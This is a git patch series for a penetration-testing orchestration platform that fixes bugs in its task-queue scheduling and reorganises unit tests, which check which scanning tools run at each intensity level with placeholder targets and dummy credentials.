src/backend/framework/models.py | 4 +- src/backend/framework/queues.py | 18 ++-- src/backend/tasks/queues.py | 30 +++--- src/backend/tests/executors/test_base.py | 29 +---- src/backend/tests/framework.py | 30 ++++++ src/backend/tests/test_queues.py | 128 +++++++++++++++++++++++ 7 files changed, 194 insertions(+), 47 deletions(-) create mode 100644 src/backend/tests/test_queues.py diff --git a/src/backend/executions/queues.py b/src/backend/executions/queues.py index c401ced34..9afdd871a 100644 --- a/src/backend/executions/queues.py +++ b/src/backend/executions/queues.py @@ -61,7 +61,7 @@ def enqueue( execution.enqueued_at = timezone.now() execution.rq_job_id = job.id execution.save(update_fields=["rq_job_id"]) - return Job + return job @job("executions-queue") def consume( diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index b75da344f..72bfdda61 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -194,7 +194,9 @@ def get_input_type(self) -> Any: from input_types.models import InputType reference = f"{self._meta.app_label}.{self._meta.model_name}" - return InputType.objects.get(Q(model=reference) | Q(fallback_model=reference)) + return InputType.objects.filter( + Q(model=reference) | Q(fallback_model=reference) + ).first() class BaseLike(BaseModel): diff --git a/src/backend/framework/queues.py b/src/backend/framework/queues.py index 75aca92e6..0106a3d35 100644 --- a/src/backend/framework/queues.py +++ b/src/backend/framework/queues.py @@ -59,17 +59,19 @@ def _calculate_executions( ) ) for index, input_type, source in ( - [(0, t, list(f)) for t, f in findings_by_type.values() if f] + [(0, t, list(f)) for t, f in findings_by_type.items() if f] if findings_by_type else [] ) + [ - (index + 1, None, p) - for p in [ - target_ports, - input_vulnerabilities, - input_technologies, - wordlists, - ] + (i + 1, None, p) + for i, p in enumerate( + [ + target_ports, + input_vulnerabilities, + input_technologies, + wordlists, + ] + ) ]: if not source: continue diff --git a/src/backend/tasks/queues.py b/src/backend/tasks/queues.py index 14f54913d..6c52c4b99 100644 --- a/src/backend/tasks/queues.py +++ b/src/backend/tasks/queues.py @@ -95,11 +95,13 @@ def _consume_process_task(self, task: Task) -> None: plan = [] steps = ( Step.objects.annotate( - max_input=Max("tool__arguments__inputs__type__id"), + max_input=Max("configuration__tool__arguments__inputs__type__id"), max_output=Max("configuration__outputs__type__id"), ) .filter(process=task.process) - .order_by("configuration__stage", "max_output", "max_input") + .order_by( + "configuration__stage", "max_input", "max_output", "configuration__id" + ) ) for step in steps: item = { @@ -110,18 +112,22 @@ def _consume_process_task(self, task: Task) -> None: "outputs": InputType.objects.filter( outputs__configuration=step.configuration ).distinct(), - "dependencies": set(), + "dependencies": [], "jobs": [], "group": 1, } if Intensity.objects.filter( - tool=step.tool, value__lte=task.intensity + tool=step.configuration.tool, value__lte=task.intensity ).exists(): for job in plan: for output in job.get("outputs"): if output in item.get("inputs"): item["group"] = max([item["group"], job["group"] + 1]) - item["dependencies"].add(job) + if job["step"].id not in [ + d["step"].id for d in item["dependencies"] + ]: + item["dependencies"].append(job) + break plan.append(item) else: Execution.objects.create( @@ -129,11 +135,11 @@ def _consume_process_task(self, task: Task) -> None: configuration=step.configuration, group=1, status=Status.SKIPPED, - skipped_reason=f"Tool {step.configuration.tool.name} can't be executed with intensity {task.intensity.value.value}", + skipped_reason=f"Tool {step.configuration.tool.name} can't be executed with intensity {task.intensity.name.capitalize()}", ) for job in plan: - executions = self._calculate_executions_from_task_parameters( - step.configuration.tool, + executions = self._calculate_executions( + job["step"].configuration.tool, [], task.target.target_ports.all(), task.target.input_vulnerabilities.all(), @@ -143,8 +149,8 @@ def _consume_process_task(self, task: Task) -> None: for parameters in executions or [{}]: execution = Execution.objects.create( task=task, - configuration=job.get("step").configuration, - group=job.get("group"), + configuration=job["step"].configuration, + group=job["group"], ) job["jobs"].append( self.executions_queue.enqueue( @@ -154,9 +160,7 @@ def _consume_process_task(self, task: Task) -> None: parameters.get(2, []), parameters.get(3, []), parameters.get(4, []), - dependencies=sum( - [j.get("jobs") for j in job.get("dependencies")], [] - ), + dependencies=sum([d["jobs"] for d in job["dependencies"]], []), ) ) diff --git a/src/backend/tests/executors/test_base.py b/src/backend/tests/executors/test_base.py index 6788e1a75..bfc83ad9f 100644 --- a/src/backend/tests/executors/test_base.py +++ b/src/backend/tests/executors/test_base.py @@ -157,33 +157,14 @@ def test_get_arguments_multiple_ports(self) -> None: def test_get_arguments_no_findings(self) -> None: self.target.target = "10.10.10.12" self.target.save(update_fields=["target"]) - target_port = TargetPort.objects.create( - target=self.target, port=80, path="/login.php" - ) - Authentication.objects.create( - name="root", - secret="root", - type=AuthenticationType.BASIC, - target_port=target_port, - ) - input_vulnerability = InputVulnerability.objects.create( - target=self.target, cve="CVE-2023-2222" - ) - input_technology = InputTechnology.objects.create( - target=self.target, name="Joomla", version="2.0.0" - ) - wordlist = Wordlist.objects.create( - name="test", - type=WordlistType.ENDPOINT, - path=self.data_dir / "wordlists" / "endpoints_wordlist.txt", - ) + self._setup_task_user_provided_entities() self._success_get_arguments( f"-p http://10.10.10.12:80/login.php -p 80 -p /login.php -p Joomla -p CVE-2023-2222 -p root -p {wordlist.path}", [], - [target_port], - [input_vulnerability], - [input_technology], - [wordlist], + [self.target_port], + [self.input_vulnerability], + [self.input_technology], + [self.wordlist], ) def test_get_arguments_no_base_inputs(self) -> None: diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 4992ae2d5..fa4759cdd 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -2,6 +2,8 @@ from pathlib import Path as PathFile from typing import Any, Dict, List +from authentications.enums import AuthenticationType +from authentications.models import Authentication from django.test import TestCase from executions.enums import Status from executions.models import Execution @@ -24,10 +26,12 @@ Technology, Vulnerability, ) +from parameters.models import InputTechnology, InputVulnerability from processes.models import Process, Step from projects.models import Project from rest_framework.test import APIClient from security.authorization.roles import Role +from target_ports.models import TargetPort from targets.enums import TargetType from targets.models import Target from tasks.models import Task @@ -35,6 +39,8 @@ from tools.enums import Intensity from tools.models import Configuration, Tool from users.models import User +from wordlists.enums import WordlistType +from wordlists.models import Wordlist class RekonoTest(TestCase): @@ -85,6 +91,30 @@ def _setup_target(self) -> None: project=self.project, target="10.10.10.10", type=TargetType.PRIVATE_IP ) + def _setup_task_user_provided_entities(self) -> None: + if not hasattr(self, "target"): + self._setup_target() + self.target_port = TargetPort.objects.create( + target=self.target, port=80, path="/login.php" + ) + self.authentication = Authentication.objects.create( + name="root", + secret="root", + type=AuthenticationType.BASIC, + target_port=self.target_port, + ) + self.input_vulnerability = InputVulnerability.objects.create( + target=self.target, cve="CVE-2023-2222" + ) + self.input_technology = InputTechnology.objects.create( + target=self.target, name="Joomla", version="2.0.0" + ) + self.wordlist = Wordlist.objects.create( + name="test", + type=WordlistType.ENDPOINT, + path=self.data_dir / "wordlists" / "endpoints_wordlist.txt", + ) + def _setup_tasks_and_executions(self) -> None: if not hasattr(self, "target"): self._setup_target() diff --git a/src/backend/tests/test_queues.py b/src/backend/tests/test_queues.py new file mode 100644 index 000000000..7d3e8ce5f --- /dev/null +++ b/src/backend/tests/test_queues.py @@ -0,0 +1,128 @@ +from executions.enums import Status +from executions.models import Execution +from processes.models import Process, Step +from tasks.models import Task +from tasks.queues import TasksQueue +from tests.framework import RekonoTest +from tools.enums import Intensity +from tools.models import Configuration + + +class TasksQueueTest(RekonoTest): + def setUp(self) -> None: + super().setUp() + self._setup_task_user_provided_entities() + self.queue = TasksQueue() + + def _validate_execution( + self, + execution: Execution, + task_id: int, + execution_id: int, + configuration_id: int, + group: int, + status: Status = Status.REQUESTED, + ) -> None: + self.assertEqual(task_id, execution.task.id) + self.assertEqual(execution_id, execution.id) + self.assertEqual(configuration_id, execution.configuration.id) + self.assertEqual(group, execution.group) + self.assertEqual(status, execution.status) + self.assertIsNone(execution.start) + + def test_tool_task(self) -> None: + configuration = Configuration.objects.get(tool__id=1, default=True) + task = Task.objects.create( + target=self.target, configuration=configuration, intensity=Intensity.INSANE + ) + task.wordlists.add(self.wordlist) + self.queue._consume_tool_task(task) + self.assertEqual(1, Execution.objects.count()) + self._validate_execution( + Execution.objects.get(pk=1), task.id, 1, configuration.id, 1 + ) + + def _test_process_task(self, intensity: Intensity) -> None: + process = Process.objects.get(pk=1) + self.task = Task.objects.create( + target=self.target, process=process, intensity=intensity + ) + self.task.wordlists.add(self.wordlist) + self.queue._consume_process_task(self.task) + self.assertEqual( + Step.objects.filter(process=process).count(), + Execution.objects.count(), + ) + + def test_process_task(self) -> None: + self._test_process_task(Intensity.INSANE) + execution_id = 1 + for configuration_id, group in [ + (19, 1), # theHarvester + (30, 1), # EmailFinder + (31, 1), # EmailHarvester + (46, 1), # Gobuster + (38, 1), # Nmap + (47, 2), # Gobuster + (22, 2), # Sslscan + (23, 2), # SSLyze + (28, 2), # Log4Shell Scan + (29, 2), # Log4Shell Scan + (34, 2), # SSH Audit + (24, 2), # CMSeeK + (33, 2), # GitDumper & GitLeaks + (15, 2), # Dirsearch + (36, 2), # SMB Map + (48, 2), # Gobuster + (21, 2), # Nikto + (25, 2), # ZAP + (39, 2), # Nuclei + (32, 2), # JoomScan + (26, 3), # SearchSploit + (27, 3), # Metasploit + ]: + self._validate_execution( + Execution.objects.get(configuration__id=configuration_id), + self.task.id, + execution_id, + configuration_id, + group, + ) + execution_id += 1 + + def test_process_task_sneaky_intensity(self) -> None: + self._test_process_task(Intensity.SNEAKY) + execution_id = 1 + for configuration_id, group in [ + (23, None), # SSLyze + (28, None), # Log4Shell Scan + (29, None), # Log4Shell Scan + (34, None), # SSH Audit + (24, None), # CMSeeK + (33, None), # GitDumper & GitLeaks + (36, None), # SMB Map + (21, None), # Nikto + (25, None), # ZAP + (39, None), # Nuclei + (32, None), # JoomScan + (19, 1), # theHarvester + (30, 1), # EmailFinder + (31, 1), # EmailHarvester + (46, 1), # Gobuster + (38, 1), # Nmap + (47, 2), # Gobuster + (22, 2), # Sslscan + (15, 2), # Dirsearch + (48, 2), # Gobuster + (26, 3), # SearchSploit + (27, 3), # Metasploit + ]: + self._validate_execution( + Execution.objects.get(configuration__id=configuration_id), + self.task.id, + execution_id, + configuration_id, + group or 1, + Status.REQUESTED if group is not None else Status.SKIPPED, + ) + execution_id += 1 From 046d2ab666f09b97679f172723d2a5233ae133bc Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Thu, 7 Dec 2023 18:48:48 +0100 Subject: [PATCH 062/141] Fix some errors and improve some unit tests --- src/backend/tests/executors/test_base.py | 2 +- src/backend/tests/test_queues.py | 120 ++++++++++------------- 2 files changed, 51 insertions(+), 71 deletions(-) diff --git a/src/backend/tests/executors/test_base.py b/src/backend/tests/executors/test_base.py index bfc83ad9f..cdfc87bfe 100644 --- a/src/backend/tests/executors/test_base.py +++ b/src/backend/tests/executors/test_base.py @@ -159,7 +159,7 @@ def test_get_arguments_no_findings(self) -> None: self.target.save(update_fields=["target"]) self._setup_task_user_provided_entities() self._success_get_arguments( - f"-p http://10.10.10.12:80/login.php -p 80 -p /login.php -p Joomla -p CVE-2023-2222 -p root -p {wordlist.path}", + f"-p http://10.10.10.12:80/login.php -p 80 -p /login.php -p Joomla -p CVE-2023-2222 -p root -p {self.wordlist.path}", [], [self.target_port], [self.input_vulnerability], diff --git a/src/backend/tests/test_queues.py b/src/backend/tests/test_queues.py index 7d3e8ce5f..e0335b9bd 100644 --- a/src/backend/tests/test_queues.py +++ b/src/backend/tests/test_queues.py @@ -7,6 +7,31 @@ from tools.enums import Intensity from tools.models import Configuration +expected_executions = [ + (19, 1, 1), # theHarvester + (30, 1, 1), # EmailFinder + (31, 1, 1), # EmailHarvester + (46, 1, 1), # Gobuster + (38, 1, 1), # Nmap + (47, 2, 2), # Gobuster + (22, 2, 2), # Sslscan + (23, 2, None), # SSLyze + (28, 2, None), # Log4Shell Scan + (29, 2, None), # Log4Shell Scan + (34, 2, None), # SSH Audit + (24, 2, None), # CMSeeK + (33, 2, None), # GitDumper & GitLeaks + (15, 2, 2), # Dirsearch + (36, 2, None), # SMB Map + (48, 2, 2), # Gobuster + (21, 2, None), # Nikto + (25, 2, None), # ZAP + (39, 2, None), # Nuclei + (32, 2, None), # JoomScan + (26, 3, 3), # SearchSploit + (27, 3, 3), # Metasploit +] + class TasksQueueTest(RekonoTest): def setUp(self) -> None: @@ -51,78 +76,33 @@ def _test_process_task(self, intensity: Intensity) -> None: self.queue._consume_process_task(self.task) self.assertEqual( Step.objects.filter(process=process).count(), - Execution.objects.count(), + Execution.objects.filter(task=self.task).count(), ) def test_process_task(self) -> None: - self._test_process_task(Intensity.INSANE) execution_id = 1 - for configuration_id, group in [ - (19, 1), # theHarvester - (30, 1), # EmailFinder - (31, 1), # EmailHarvester - (46, 1), # Gobuster - (38, 1), # Nmap - (47, 2), # Gobuster - (22, 2), # Sslscan - (23, 2), # SSLyze - (28, 2), # Log4Shell Scan - (29, 2), # Log4Shell Scan - (34, 2), # SSH Audit - (24, 2), # CMSeeK - (33, 2), # GitDumper & GitLeaks - (15, 2), # Dirsearch - (36, 2), # SMB Map - (48, 2), # Gobuster - (21, 2), # Nikto - (25, 2), # ZAP - (39, 2), # Nuclei - (32, 2), # JoomScan - (26, 3), # SearchSploit - (27, 3), # Metasploit - ]: - self._validate_execution( - Execution.objects.get(configuration__id=configuration_id), - self.task.id, - execution_id, - configuration_id, - group, - ) - execution_id += 1 + for intensity, group_index in [(Intensity.INSANE, 1), (Intensity.SNEAKY, 2)]: + self._test_process_task(intensity) + for configuration_id, group in [ + (e[0], e[group_index]) + for e in expected_executions + if e[group_index] is None + ] + [ + (e[0], e[group_index]) + for e in expected_executions + if e[group_index] is not None + ]: + self._validate_execution( + Execution.objects.get( + task=self.task, configuration__id=configuration_id + ), + self.task.id, + execution_id, + configuration_id, + group or 1, + Status.REQUESTED if group is not None else Status.SKIPPED, + ) + execution_id += 1 - def test_process_task_sneaky_intensity(self) -> None: - self._test_process_task(Intensity.SNEAKY) - execution_id = 1 - for configuration_id, group in [ - (23, None), # SSLyze - (28, None), # Log4Shell Scan - (29, None), # Log4Shell Scan - (34, None), # SSH Audit - (24, None), # CMSeeK - (33, None), # GitDumper & GitLeaks - (36, None), # SMB Map - (21, None), # Nikto - (25, None), # ZAP - (39, None), # Nuclei - (32, None), # JoomScan - (19, 1), # theHarvester - (30, 1), # EmailFinder - (31, 1), # EmailHarvester - (46, 1), # Gobuster - (38, 1), # Nmap - (47, 2), # Gobuster - (22, 2), # Sslscan - (15, 2), # Dirsearch - (48, 2), # Gobuster - (26, 3), # SearchSploit - (27, 3), # Metasploit - ]: - self._validate_execution( - Execution.objects.get(configuration__id=configuration_id), - self.task.id, - execution_id, - configuration_id, - group or 1, - Status.REQUESTED if group is not None else Status.SKIPPED, - ) - execution_id += 1 + def test_calculate_executions(self) -> None: + pass From c28384208169f7a1be4ef446ef0a05737bf2a828 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Thu, 7 Dec 2023 19:53:45 +0100 Subject: [PATCH 063/141] Optimize tests structure --- src/backend/tests/executors/test_base.py | 70 +------------- src/backend/tests/framework.py | 80 +++++++++++++++- .../tests/platforms/nvd_nist/__init__.py | 0 src/backend/tests/platforms/nvd_nist/mock.py | 43 --------- .../tests/platforms/telegram/__init__.py | 0 .../tests/platforms/telegram/test_settings.py | 27 ------ .../test_integrations.py => test_nvd_nist.py} | 43 +++++++++ .../test_chats.py => test_telegram.py} | 25 +++++ src/backend/tests/test_queues.py | 96 ++++++++++++------- src/backend/tests/test_targets.py | 5 +- 10 files changed, 210 insertions(+), 179 deletions(-) delete mode 100644 src/backend/tests/platforms/nvd_nist/__init__.py delete mode 100644 src/backend/tests/platforms/nvd_nist/mock.py delete mode 100644 src/backend/tests/platforms/telegram/__init__.py delete mode 100644 src/backend/tests/platforms/telegram/test_settings.py rename src/backend/tests/platforms/{nvd_nist/test_integrations.py => test_nvd_nist.py} (63%) rename src/backend/tests/platforms/{telegram/test_chats.py => test_telegram.py} (78%) diff --git a/src/backend/tests/executors/test_base.py b/src/backend/tests/executors/test_base.py index cdfc87bfe..57ae12143 100644 --- a/src/backend/tests/executors/test_base.py +++ b/src/backend/tests/executors/test_base.py @@ -1,89 +1,23 @@ from typing import List from unittest import mock -from authentications.enums import AuthenticationType -from authentications.models import Authentication from executions.enums import Status from executions.models import Execution from findings.enums import OSINTDataType from findings.framework.models import Finding from findings.models import Port -from input_types.enums import InputTypeName -from input_types.models import InputType from parameters.models import InputTechnology, InputVulnerability from target_ports.models import TargetPort from tasks.models import Task from tests.executors.mock import get_url from tests.framework import RekonoTest -from tools.enums import Intensity as IntensityEnum -from tools.enums import Stage -from tools.models import Argument, Configuration, Input, Intensity, Tool -from wordlists.enums import WordlistType from wordlists.models import Wordlist class ToolExecutorTest(RekonoTest): def setUp(self) -> None: super().setUp() - self._setup_target() - self.fake_tool = Tool.objects.create( - name="fake", - command="fake", - is_installed=True, - version="1.0.0", - version_argument="--version", - ) - for index, value in enumerate(IntensityEnum): - Intensity.objects.create( - tool=self.fake_tool, argument=f"-i {index}", value=value - ) - self.fake_configuration = Configuration.objects.create( - name="fake", - tool=self.fake_tool, - arguments="{host} {url} {ports_commas} {endpoint} {technology} {secret} {cve} {exploit} {username} {wordlist}", - stage=Stage.ENUMERATION, - default=True, - ) - for value, required, multiple, input_type_names in [ - ("host", False, False, [InputTypeName.OSINT]), - ( - "url", - True, - False, - [InputTypeName.PATH, InputTypeName.PORT, InputTypeName.HOST], - ), - ("ports_commas", True, True, [InputTypeName.PORT]), - ("endpoint", False, False, [InputTypeName.PATH]), - ("technology", True, False, [InputTypeName.TECHNOLOGY]), - ("secret", False, False, [InputTypeName.CREDENTIAL]), - ("cve", True, False, [InputTypeName.VULNERABILITY]), - ("exploit", False, False, [InputTypeName.EXPLOIT]), - ("username", False, False, [InputTypeName.AUTHENTICATION]), - ("wordlist", False, False, [InputTypeName.WORDLIST]), - ]: - new_argument = Argument.objects.create( - tool=self.fake_tool, - name=value, - argument="-p {" + value + "}", - required=required, - multiple=multiple, - ) - for index, input_type_name in enumerate(input_type_names): - Input.objects.create( - argument=new_argument, - type=InputType.objects.get(name=input_type_name), - order=index + 1, - ) - self.task = Task.objects.create( - target=self.target, - configuration=self.fake_configuration, - executor=self.auditor1, - ) - self.execution = Execution.objects.create( - task=self.task, - configuration=self.fake_configuration, - status=Status.REQUESTED, - ) + self._setup_fake_tool() self._setup_findings(self.execution) self.osint.data = "10.10.10.11" self.osint.data_type = OSINTDataType.IP @@ -155,9 +89,9 @@ def test_get_arguments_multiple_ports(self) -> None: @mock.patch("framework.models.BaseInput._get_url", get_url) def test_get_arguments_no_findings(self) -> None: + self._setup_task_user_provided_entities() self.target.target = "10.10.10.12" self.target.save(update_fields=["target"]) - self._setup_task_user_provided_entities() self._success_get_arguments( f"-p http://10.10.10.12:80/login.php -p 80 -p /login.php -p Joomla -p CVE-2023-2222 -p root -p {self.wordlist.path}", [], diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index fa4759cdd..b6434f1c9 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -26,6 +26,8 @@ Technology, Vulnerability, ) +from input_types.enums import InputTypeName +from input_types.models import InputType from parameters.models import InputTechnology, InputVulnerability from processes.models import Process, Step from projects.models import Project @@ -35,9 +37,12 @@ from targets.enums import TargetType from targets.models import Target from tasks.models import Task +from tasks.queues import TasksQueue from tests.cases import RekonoTestCase from tools.enums import Intensity -from tools.models import Configuration, Tool +from tools.enums import Intensity as IntensityEnum +from tools.enums import Stage +from tools.models import Argument, Configuration, Input, Intensity, Tool from users.models import User from wordlists.enums import WordlistType from wordlists.models import Wordlist @@ -91,9 +96,69 @@ def _setup_target(self) -> None: project=self.project, target="10.10.10.10", type=TargetType.PRIVATE_IP ) + def _setup_fake_tool(self) -> None: + self._setup_target() + self.fake_tool = Tool.objects.create( + name="fake", + command="fake", + is_installed=True, + version="1.0.0", + version_argument="--version", + ) + for index, value in enumerate(IntensityEnum): + Intensity.objects.create( + tool=self.fake_tool, argument=f"-i {index}", value=value + ) + self.fake_configuration = Configuration.objects.create( + name="fake", + tool=self.fake_tool, + arguments="{host} {url} {ports_commas} {endpoint} {technology} {secret} {cve} {exploit} {username} {wordlist}", + stage=Stage.ENUMERATION, + default=True, + ) + for value, required, multiple, input_type_names in [ + ("host", False, False, [InputTypeName.OSINT]), + ( + "url", + True, + False, + [InputTypeName.PATH, InputTypeName.PORT, InputTypeName.HOST], + ), + ("ports_commas", True, True, [InputTypeName.PORT]), + ("endpoint", False, False, [InputTypeName.PATH]), + ("technology", True, False, [InputTypeName.TECHNOLOGY]), + ("secret", False, False, [InputTypeName.CREDENTIAL]), + ("cve", True, False, [InputTypeName.VULNERABILITY]), + ("exploit", False, False, [InputTypeName.EXPLOIT]), + ("username", False, False, [InputTypeName.AUTHENTICATION]), + ("wordlist", False, False, [InputTypeName.WORDLIST]), + ]: + new_argument = Argument.objects.create( + tool=self.fake_tool, + name=value, + argument="-p {" + value + "}", + required=required, + multiple=multiple, + ) + for index, input_type_name in enumerate(input_type_names): + Input.objects.create( + argument=new_argument, + type=InputType.objects.get(name=input_type_name), + order=index + 1, + ) + self.task = Task.objects.create( + target=self.target, + configuration=self.fake_configuration, + executor=self.auditor1, + ) + self.execution = Execution.objects.create( + task=self.task, + configuration=self.fake_configuration, + status=Status.REQUESTED, + ) + def _setup_task_user_provided_entities(self) -> None: - if not hasattr(self, "target"): - self._setup_target() + self._setup_target() self.target_port = TargetPort.objects.create( target=self.target, port=80, path="/login.php" ) @@ -116,8 +181,7 @@ def _setup_task_user_provided_entities(self) -> None: ) def _setup_tasks_and_executions(self) -> None: - if not hasattr(self, "target"): - self._setup_target() + self._setup_target() self.running_task = Task.objects.create( target=self.target, process=Process.objects.get(pk=1), @@ -298,3 +362,9 @@ def _metadata(self) -> Dict[str, Any]: "reports": self.data_dir, "tool": self.tool_name, } + + +class QueueTest(RekonoTest): + def setUp(self) -> None: + super().setUp() + self.queue = TasksQueue() diff --git a/src/backend/tests/platforms/nvd_nist/__init__.py b/src/backend/tests/platforms/nvd_nist/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/tests/platforms/nvd_nist/mock.py b/src/backend/tests/platforms/nvd_nist/mock.py deleted file mode 100644 index 7d406af5d..000000000 --- a/src/backend/tests/platforms/nvd_nist/mock.py +++ /dev/null @@ -1,43 +0,0 @@ -from typing import Any, Dict - -success = { - "result": { - "CVE_Items": [ - { - "cve": { - "description": { - "description_data": [{"lang": "en", "value": "description"}] - }, - "problemtype": { - "problemtype_data": [{"description": [{"value": "CWE-200"}]}] - }, - } - } - ] - } -} - - -def _success(impact_value: Dict[str, Any]) -> Dict[str, Any]: - success["result"]["CVE_Items"][0]["impact"] = impact_value - return success - - -def success_cvss_3(*args: Any, **kwargs: Any) -> Dict[str, Any]: - return _success( - { - "baseMetricV3": {"cvssV3": {"baseScore": 9}}, - } - ) - - -def success_cvss_2(*args: Any, **kwargs: Any) -> Dict[str, Any]: - return _success( - { - "baseMetricV2": {"cvssV2": {"baseScore": 8}}, - } - ) - - -def not_found(*args: Any, **kwargs: Any) -> dict: - raise Exception("CVE not found") diff --git a/src/backend/tests/platforms/telegram/__init__.py b/src/backend/tests/platforms/telegram/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/tests/platforms/telegram/test_settings.py b/src/backend/tests/platforms/telegram/test_settings.py deleted file mode 100644 index 2f002f4b5..000000000 --- a/src/backend/tests/platforms/telegram/test_settings.py +++ /dev/null @@ -1,27 +0,0 @@ -from tests.cases import ApiTestCase -from tests.framework import ApiTest - -token = {"token": "any_valid_telegram_token"} -invalid_token = {"token": "invalid;token"} -expected = {"id": 1, "bot": None, "is_available": False} - - -class TelegramSettingsTest(ApiTest): - endpoint = "/api/telegram/settings/1/" - cases = [ - ApiTestCase( - ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], - "get", - 200, - expected=expected, - ), - ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "put", 403, token), - ApiTestCase(["admin1", "admin2"], "put", 400, invalid_token), - ApiTestCase(["admin1", "admin2"], "put", 200, token, expected), - ApiTestCase( - ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], - "get", - 200, - expected=expected, - ), - ] diff --git a/src/backend/tests/platforms/nvd_nist/test_integrations.py b/src/backend/tests/platforms/test_nvd_nist.py similarity index 63% rename from src/backend/tests/platforms/nvd_nist/test_integrations.py rename to src/backend/tests/platforms/test_nvd_nist.py index aa49938ef..0c453efc1 100644 --- a/src/backend/tests/platforms/nvd_nist/test_integrations.py +++ b/src/backend/tests/platforms/test_nvd_nist.py @@ -1,3 +1,4 @@ +from typing import Any, Dict from unittest import mock from findings.enums import Severity @@ -6,6 +7,48 @@ from tests.framework import RekonoTest from tests.platforms.nvd_nist.mock import not_found, success_cvss_2, success_cvss_3 +success = { + "result": { + "CVE_Items": [ + { + "cve": { + "description": { + "description_data": [{"lang": "en", "value": "description"}] + }, + "problemtype": { + "problemtype_data": [{"description": [{"value": "CWE-200"}]}] + }, + } + } + ] + } +} + + +def _success(impact_value: Dict[str, Any]) -> Dict[str, Any]: + success["result"]["CVE_Items"][0]["impact"] = impact_value + return success + + +def success_cvss_3(*args: Any, **kwargs: Any) -> Dict[str, Any]: + return _success( + { + "baseMetricV3": {"cvssV3": {"baseScore": 9}}, + } + ) + + +def success_cvss_2(*args: Any, **kwargs: Any) -> Dict[str, Any]: + return _success( + { + "baseMetricV2": {"cvssV2": {"baseScore": 8}}, + } + ) + + +def not_found(*args: Any, **kwargs: Any) -> dict: + raise Exception("CVE not found") + class NvdNistTest(RekonoTest): def setUp(self) -> None: diff --git a/src/backend/tests/platforms/telegram/test_chats.py b/src/backend/tests/platforms/test_telegram.py similarity index 78% rename from src/backend/tests/platforms/telegram/test_chats.py rename to src/backend/tests/platforms/test_telegram.py index 05245bae8..30478f33b 100644 --- a/src/backend/tests/platforms/telegram/test_chats.py +++ b/src/backend/tests/platforms/test_telegram.py @@ -5,6 +5,31 @@ from tests.framework import ApiTest from users.models import User +token = {"token": "any_valid_telegram_token"} +invalid_token = {"token": "invalid;token"} +expected = {"id": 1, "bot": None, "is_available": False} + + +class TelegramSettingsTest(ApiTest): + endpoint = "/api/telegram/settings/1/" + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=expected, + ), + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "put", 403, token), + ApiTestCase(["admin1", "admin2"], "put", 400, invalid_token), + ApiTestCase(["admin1", "admin2"], "put", 200, token, expected), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=expected, + ), + ] + class TelegramChatTest(ApiTest): endpoint = "/api/telegram/link/" diff --git a/src/backend/tests/test_queues.py b/src/backend/tests/test_queues.py index e0335b9bd..dba53bbb8 100644 --- a/src/backend/tests/test_queues.py +++ b/src/backend/tests/test_queues.py @@ -1,43 +1,76 @@ from executions.enums import Status from executions.models import Execution +from findings.enums import HostOS +from findings.models import Host +from framework.queues import BaseQueue from processes.models import Process, Step from tasks.models import Task -from tasks.queues import TasksQueue -from tests.framework import RekonoTest +from tests.framework import QueueTest from tools.enums import Intensity from tools.models import Configuration -expected_executions = [ - (19, 1, 1), # theHarvester - (30, 1, 1), # EmailFinder - (31, 1, 1), # EmailHarvester - (46, 1, 1), # Gobuster - (38, 1, 1), # Nmap - (47, 2, 2), # Gobuster - (22, 2, 2), # Sslscan - (23, 2, None), # SSLyze - (28, 2, None), # Log4Shell Scan - (29, 2, None), # Log4Shell Scan - (34, 2, None), # SSH Audit - (24, 2, None), # CMSeeK - (33, 2, None), # GitDumper & GitLeaks - (15, 2, 2), # Dirsearch - (36, 2, None), # SMB Map - (48, 2, 2), # Gobuster - (21, 2, None), # Nikto - (25, 2, None), # ZAP - (39, 2, None), # Nuclei - (32, 2, None), # JoomScan - (26, 3, 3), # SearchSploit - (27, 3, 3), # Metasploit -] +# class BaseQueueTest(QueueTest): +# def setUp(self) -> None: +# super().setUp() +# self._setup_fake_tool() +# def test_calculate_executions_findings(self) -> None: +# pass + +# def test_calculate_executions_findings_same_type(self) -> None: +# number_of_hosts = 10 +# for host in range(1, number_of_hosts): +# setattr( +# self, +# f"host{host}", +# self._create_finding( +# Host, +# {"address": f"10.10.10.{host}", "os_type": HostOS.LINUX}, +# self.execution, +# ), +# ) +# findings = [getattr(self, f"host{h}") for h in range(1, number_of_hosts)] +# result = self.queue._calculate_executions( +# self.fake_tool, findings, [], [], [], [] +# ) +# self.assertEqual( +# [{0: [getattr(self, f"host{h}")]} for h in range(1, number_of_hosts)], +# result, +# ) + +# def test_calculate_executions_user_provided_entities(self) -> None: +# pass + + +class TasksQueueTest(QueueTest): + expected_executions = [ + (19, 1, 1), # theHarvester + (30, 1, 1), # EmailFinder + (31, 1, 1), # EmailHarvester + (46, 1, 1), # Gobuster + (38, 1, 1), # Nmap + (47, 2, 2), # Gobuster + (22, 2, 2), # Sslscan + (23, 2, None), # SSLyze + (28, 2, None), # Log4Shell Scan + (29, 2, None), # Log4Shell Scan + (34, 2, None), # SSH Audit + (24, 2, None), # CMSeeK + (33, 2, None), # GitDumper & GitLeaks + (15, 2, 2), # Dirsearch + (36, 2, None), # SMB Map + (48, 2, 2), # Gobuster + (21, 2, None), # Nikto + (25, 2, None), # ZAP + (39, 2, None), # Nuclei + (32, 2, None), # JoomScan + (26, 3, 3), # SearchSploit + (27, 3, 3), # Metasploit + ] -class TasksQueueTest(RekonoTest): def setUp(self) -> None: super().setUp() self._setup_task_user_provided_entities() - self.queue = TasksQueue() def _validate_execution( self, @@ -85,11 